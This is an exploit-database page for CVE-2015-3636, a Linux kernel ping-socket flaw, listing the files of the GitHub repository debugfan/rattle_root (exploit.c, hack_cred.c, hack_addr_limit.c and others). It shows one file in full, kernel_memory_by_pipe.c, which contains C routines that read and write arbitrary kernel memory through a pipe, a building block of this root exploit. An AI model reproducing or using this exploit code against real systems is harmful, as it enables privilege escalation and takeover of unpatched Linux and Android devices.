Exploit databaseDownload repository ZIP
GH-e08d1bcd4ac0360842ed3277a6ef143b
debugfan/rattle_root
Sources for CVE-2015-3636
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files28
debugfan/rattle_rootRevision 80b887bc203b
- .gitattributes
- .gitignore
- Makefile
- Makefile.am
- Makefile.in
- aclocal.m4
- compile
- config.h
- config.h.in
- config.log
- config.status
- configure
- configure.ac
- crusty.h
- depcomp
- exploit.c
- exploit_utils.h
- hack_addr_limit.c
- hack_cred.c
- hack_data.h
- install-sh
- kernel_memory_by_pipe.c
- missing
- pingpong.c
- pingpong.h
- protect_from_oom_killer.c
- rattle_root.c
- stamp-h1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
kernel_memory_by_pipe.c
C · 941 bytes#include <stdio.h>
#include <string.h>
#include "exploit_utils.h"
ssize_t
read_kernel_memory_by_pipe(unsigned long int address, void *values, size_t length)
{
int pipefd[2];
ssize_t ret;
pipe(pipefd);
ret = write(pipefd[1], (const void *)address, length);
if (ret != length) {
ret = -1;
goto error_exit;
}
ret = read(pipefd[0], values, length);
if (ret != length) {
ret = -1;
goto error_exit;
}
error_exit:
close(pipefd[0]);
close(pipefd[1]);
return ret;
}
ssize_t
write_kernel_memory_by_pipe(unsigned long int address, const void *values, size_t length)
{
int pipefd[2];
ssize_t ret;
pipe(pipefd);
ret = write(pipefd[1], values, length);
if (ret != length) {
ret = -1;
goto error_exit;
}
ret = read(pipefd[0], (void *)address, length);
if (ret != length) {
ret = -1;
goto error_exit;
}
error_exit:
close(pipefd[0]);
close(pipefd[1]);
return ret;
}